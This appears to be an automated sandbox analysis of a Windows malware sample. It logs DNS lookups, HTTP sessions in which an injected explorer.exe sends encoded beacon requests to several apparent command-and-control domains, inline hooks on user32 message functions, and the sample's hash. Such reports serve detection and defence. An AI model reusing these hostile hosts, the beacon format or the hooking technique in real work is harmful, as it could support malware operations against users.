Nov 30, 2023 14:58:24.370285988 CET	1.1.1.1	192.168.2.6	0xb2f5	No error (0)	www.maltsky.net		104.140.89.24	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:58:44.421730995 CET	1.1.1.1	192.168.2.6	0xaac1	No error (0)	www.thnkotb.com	thnkotb.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2023 14:58:44.421730995 CET	1.1.1.1	192.168.2.6	0xaac1	No error (0)	thnkotb.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:58:44.421730995 CET	1.1.1.1	192.168.2.6	0xaac1	No error (0)	thnkotb.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:59:04.782854080 CET	1.1.1.1	192.168.2.6	0xfe36	No error (0)	www.harmonicod.com		104.247.81.50	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:59:25.415021896 CET	1.1.1.1	192.168.2.6	0xafb1	No error (0)	www.kermisbedrijfkramer.online	kermisbedrijfkramer.online		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2023 14:59:25.415021896 CET	1.1.1.1	192.168.2.6	0xafb1	No error (0)	kermisbedrijfkramer.online		37.97.254.27	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:59:45.840954065 CET	1.1.1.1	192.168.2.6	0xb84e	No error (0)	www.stellarskyline.com	stellarskyline.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2023 14:59:45.840954065 CET	1.1.1.1	192.168.2.6	0xb84e	No error (0)	stellarskyline.com		62.72.50.88	A (IP address)	IN (0x0001)	false
Nov 30, 2023 15:00:06.987632990 CET	1.1.1.1	192.168.2.6	0x300e	No error (0)	www.hivaom.top		156.237.159.158	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.leathfortexas.com

www.optimusvisionlb.com

www.maltsky.net

www.thnkotb.com

www.harmonicod.com

www.kermisbedrijfkramer.online

www.stellarskyline.com

www.hivaom.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49747	3.33.130.190	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2023 14:57:23.481544018 CET	238	OUT	GET /ao65/?3f94p=ys1nmsb6X1mQM1Jd478oiUQn9vuATHYUt4Dy8pL3kyVIlzOboPcsTdVyW5SVB7hST99gmWn6+w==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1 Host: www.leathfortexas.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2023 14:57:23.581691980 CET	351	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Thu, 30 Nov 2023 13:57:23 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49748	34.93.103.39	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2023 14:58:03.063024998 CET	240	OUT	GET /ao65/?3f94p=Olh8eEjR5IT46fH2PeVd1Lc15fw8Z1PVOirT2eqb4t/bi7TTuO6yJGtOPy5w7PRh9e2z8DbdcQ==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1 Host: www.optimusvisionlb.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2023 14:58:03.408822060 CET	605	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 30 Nov 2023 13:58:03 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.optimusvisionlb.com/ao65/?3f94p=Olh8eEjR5IT46fH2PeVd1Lc15fw8Z1PVOirT2eqb4t/bi7TTuO6yJGtOPy5w7PRh9e2z8DbdcQ==&ojq4i=mFNh5n78I22D3DgP X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49749	104.140.89.24	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2023 14:58:24.506469965 CET	232	OUT	GET /ao65/?3f94p=U+zAKk5GFPF9sXmyHB7CBujsr49+ry/l09LFQEQGSX0L4+hNQ2paLAM2kd/yuXu6AcnnHpW1KQ==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1 Host: www.maltsky.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49750	3.33.130.190	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2023 14:58:44.521867990 CET	232	OUT	GET /ao65/?3f94p=1+k7ryNQzoPRnNssVcxEVGqYVXcpdNYnwR6YaRuf8QIEqfcPbXX6k2BVupn8sj0YeeXTfXT4xQ==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1 Host: www.thnkotb.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2023 14:58:44.626300097 CET	514	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Thu, 30 Nov 2023 13:58:44 GMT Content-Type: text/html Content-Length: 291 Connection: close ETag: "6552b21e-123" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49751	104.247.81.50	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2023 14:59:05.034219027 CET	235	OUT	GET /ao65/?3f94p=SIOjWgUx9Sz9T19JihLVHEMNoaK2maww+N41rkYkWun2OwaoSexibxzMqiX45PItRVwWmDJ2nA==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1 Host: www.harmonicod.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2023 14:59:05.162866116 CET	343	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 30 Nov 2023 13:59:05 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49752	37.97.254.27	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2023 14:59:25.599111080 CET	247	OUT	GET /ao65/?3f94p=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS2/Y+YwQBdR3MSzENA==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1 Host: www.kermisbedrijfkramer.online Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2023 14:59:25.780606985 CET	1340	IN	HTTP/1.1 200 OK Date: Tue, 19 Sep 2023 17:56:11 GMT Server: Apache Last-Modified: Thu, 04 Nov 2021 09:16:05 GMT Vary: Accept-Encoding Content-Type: text/html Cache-Control: max-age=31536000 X-Varnish: 612203309 3 Age: 6206594 Via: 1.1 varnish (Varnish/6.1) Accept-Ranges: bytes Content-Length: 64668 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 61 73 63 69 69 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 72 61 6e 73 49 50 20 2d 20 52 65 73 65 72 76 65 64 20 64 6f 6d 61 69 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 72 61 6e 73 49 50 20 2d 20 52 65 73 65 72 76 65 64 20 64 6f 6d 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 72 65 73 65 72 76 65 64 2e 74 72 61 6e 73 69 70 2e 6e 6c 2f 61 73 73 65 74 73 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 53 6f 75 72 63 65 2b 53 61 6e 73 2b 50 72 6f 3a 34 30 30 2c 39 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 2f 72 65 73 65 72 76 65 64 2e 74 72 61 6e 73 69 70 2e 6e 6c 2f 61 73 73 65 74 73 2f 63 73 73 2f 63 6f 6d 62 69 6e 65 64 2d 6d 69 6e 2e 63 73 73 22 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 42 65 7a 65 74 21 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 63 6c 61 73 73 3d 22 72 65 73 65 72 76 65 64 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 36 20 72 65 73 65 72 76 65 64 2d 6e 61 76 2d 6c 65 66 74 20 72 65 73 65 72 76 65 64 2d 6e 61 76 2d 62 72 61 6e 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html> <head lang="en"> <meta charset="ascii"> <title>TransIP - Reserved domain</title> <meta name="description" content="TransIP - Reserved domain"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex, nofollow"> <link rel="shortcut icon" href="//reserved.transip.nl/assets/img/favicon.ico" type="image/x-icon" /> <link href='https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,900' rel='stylesheet' type='text/css'> <link rel="stylesheet" href="//reserved.transip.nl/assets/css/combined-min.css"> <title>Bezet!</title> </head> <body> <div class="container"> <div role="navigation" class="reserved-nav-container"> <div class="col-xs-6 reserved-nav-left reserved-nav-brand">
Nov 30, 2023 14:59:25.780627012 CET	1340	IN	Data Raw: 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 72 61 6e 73 69 70 2e 6e 6c 2f 22 20 63 6c 61 73 73 3d 22 72 65 73 65 72 76 65 64 2d 6e 61 76 2d 62 72 61 6e 64 2d 6c 69 6e 6b 20 6c 61 6e 67 5f 6e 6c 22 20 72 65 6c 3d 22 Data Ascii: <a href="https://transip.nl/" class="reserved-nav-brand-link lang_nl" rel="nofollow"> <svg version="1.1" id="transip-logo" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="
Nov 30, 2023 14:59:25.780642986 CET	1340	IN	Data Raw: 32 2c 30 2d 33 2e 35 2c 30 2e 31 2d 34 2e 36 2c 30 2e 35 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 2d 31 2e 31 2c 30 2e 34 2d 31 2e 37 2c 31 2e 33 2d 31 2e 37 2c 32 2e 38 76 30 2e 38 63 Data Ascii: 2,0-3.5,0.1-4.6,0.5 c-1.1,0.4-1.7,1.3-1.7,2.8v0.8c0,1.2,0.2,2.102,0.9,2.801c0.7,0.699,1.8,1,3.6,1h5.4c2.9,0,4-0.199,4.6-1v0.801h2.7V8.8 C50.7,5,47.6,4.5,43.4,4.5z"/>
Nov 30, 2023 14:59:25.780658007 CET	1340	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: /> <g> <g> <rect class="transip-logo-part" x="96.5" fill="#187DC1" width="2.7" height="2.2"/> </g>
Nov 30, 2023 14:59:25.780670881 CET	1340	IN	Data Raw: 76 65 64 2d 6e 61 76 2d 62 72 61 6e 64 2d 6c 69 6e 6b 20 6c 61 6e 67 5f 65 6e 20 68 69 64 64 65 6e 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 Data Ascii: ved-nav-brand-link lang_en hidden" rel="nofollow"> <svg version="1.1" id="transip-logo" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve"> <pa
Nov 30, 2023 14:59:25.780683041 CET	1340	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 63 2d 31 2e 31 2c 30 2e 34 2d 31 2e 37 2c 31 2e 33 2d 31 2e 37 2c 32 2e 38 76 30 2e 38 63 30 2c 31 2e 32 2c 30 2e 32 2c 32 2e 31 30 32 2c 30 2e 39 2c 32 2e 38 30 31 63 30 2e 37 2c 30 2e 36 39 39 2c 31 2e 38 2c 31 2c Data Ascii: c-1.1,0.4-1.7,1.3-1.7,2.8v0.8c0,1.2,0.2,2.102,0.9,2.801c0.7,0.699,1.8,1,3.6,1h5.4c2.9,0,4-0.199,4.6-1v0.801h2.7V8.8 C50.7,5,47.6,4.5,43.4,4.5z"/> <path class="transip-logo-p
Nov 30, 2023 14:59:25.780695915 CET	1340	IN	Data Raw: 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 72 Data Ascii: <g> <g> <rect class="transip-logo-part" x="96.5" fill="#187DC1" width="2.7" height="2.2"/> </g> </g>
Nov 30, 2023 14:59:25.780708075 CET	1340	IN	Data Raw: 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 73 77 69 74 63 68 4c 61 6e 67 75 61 67 65 28 27 6e 6c 27 29 22 20 63 6c 61 73 73 3d 22 72 65 73 65 72 76 65 64 2d 6e 61 76 2d 66 6c 61 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: href="javascript:switchLanguage('nl')" class="reserved-nav-flag"> <svg class="flag-icon" xmlns="http://www.w3.org/2000/svg" height="15" width="20" viewBox="0 0 640 480" version="1"><g fill-rule="evenodd" stroke-width="1
Nov 30, 2023 14:59:25.780720949 CET	1340	IN	Data Raw: 68 31 30 32 2e 34 56 30 68 2d 31 30 32 2e 34 7a 4d 2d 32 35 36 20 35 31 32 2e 30 31 4c 38 35 2e 33 34 20 33 34 31 2e 33 34 68 37 36 2e 33 32 34 6c 2d 33 34 31 2e 33 34 20 31 37 30 2e 36 37 48 2d 32 35 36 7a 4d 2d 32 35 36 20 30 4c 38 35 2e 33 34 Data Ascii: h102.4V0h-102.4zM-256 512.01L85.34 341.34h76.324l-341.34 170.67H-256zM-256 0L85.34 170.67H9.016L-256 38.164V0zm606.356 170.67L691.696 0h76.324L426.68 170.67h-76.324zM768.02 512.01L426.68 341.34h76.324L768.02 473.848v38.162z" fill="#c00"/></g><
Nov 30, 2023 14:59:25.780736923 CET	1340	IN	Data Raw: 32 35 2e 35 2d 35 37 2c 35 37 73 32 35 2e 35 2c 35 37 2c 35 37 2c 35 37 73 35 37 2d 32 35 2e 35 2c 35 37 2d 35 37 53 31 33 31 2e 34 2c 34 34 2c 39 39 2e 39 2c 34 34 7a 20 4d 31 33 33 2e 34 2c 31 34 31 2e 33 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 25.5-57,57s25.5,57,57,57s57-25.5,57-57S131.4,44,99.9,44z M133.4,141.3 c-3.7-1.8-15.9-4.2-18.8-6.1c-3.4-2.1-2.3-13.7-2.3-13.7l2.3-2c0,0,0.6-5.2,1.6-7.1c2.2-4.3,4.6-11.4,4.6-11.4s2.3-1.7,2.3-4.
Nov 30, 2023 14:59:25.960726023 CET	1340	IN	Data Raw: 20 20 20 20 20 20 6c 32 2e 35 2d 32 2e 35 63 30 2c 30 2c 30 2e 31 2c 30 2c 30 2e 31 2d 30 2e 31 63 30 2c 30 2c 30 2e 31 2d 30 2e 31 2c 30 2e 31 2d 30 2e 31 63 32 2e 39 2d 33 2c 33 2e 31 2d 37 2e 37 2c 30 2e 35 2d 31 30 2e 39 6c 30 2e 31 2c 30 63 Data Ascii: l2.5-2.5c0,0,0.1,0,0.1-0.1c0,0,0.1-0.1,0.1-0.1c2.9-3,3.1-7.7,0.5-10.9l0.1,0c-1.9-2.3-3.9-4.5-6-6.6c-2.2-2.2-4.4-4.2-6.8-6.2 l0,0c-2.9-2.4-7-2.4-10-0.3l-1.8,1.8l-1.7,1.7l-0.1-0.1c-3.6,3.6-8.8,4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49753	62.72.50.88	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2023 14:59:45.996751070 CET	239	OUT	GET /ao65/?3f94p=VAHOj8ipz1NvM3cWmHPyRmFT7dV4XaBrhkZucwTvHTdt+uk8nfyPBl3lilEqIH7Lfnspwggtew==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1 Host: www.stellarskyline.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2023 14:59:46.150660992 CET	1143	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Thu, 30 Nov 2023 13:59:46 GMT server: LiteSpeed location: https://www.stellarskyline.com/ao65/?3f94p=VAHOj8ipz1NvM3cWmHPyRmFT7dV4XaBrhkZucwTvHTdt+uk8nfyPBl3lilEqIH7Lfnspwggtew==&ojq4i=mFNh5n78I22D3DgP platform: hostinger content-security-policy: upgrade-insecure-requests Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49754	156.237.159.158	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2023 15:00:09.039658070 CET	231	OUT	GET /ao65/?3f94p=B3GcozZs3ohtof+Eq3ZwUrCdoNWOjNCPbyllHAjlOtmwH5sozkgIB7xqH4//btWoobo3GMsY9g==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1 Host: www.hivaom.top Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x8D 0xDE 0xEE
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x85 0x5E 0xEE
GetMessageW	INLINE	0x48 0x8B 0xB8 0x85 0x5E 0xEE
GetMessageA	INLINE	0x48 0x8B 0xB8 0x8D 0xDE 0xEE

Target ID:	0
Start time:	14:56:03
Start date:	30/11/2023
Path:	C:\Users\user\Desktop\Fpopgapwdcgvxn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Fpopgapwdcgvxn.exe
Imagebase:	0x400000
File size:	2'403'840 bytes
MD5 hash:	072D323C28E7BA4D63EB7DF9894F33C9
Has elevated privileges:	true
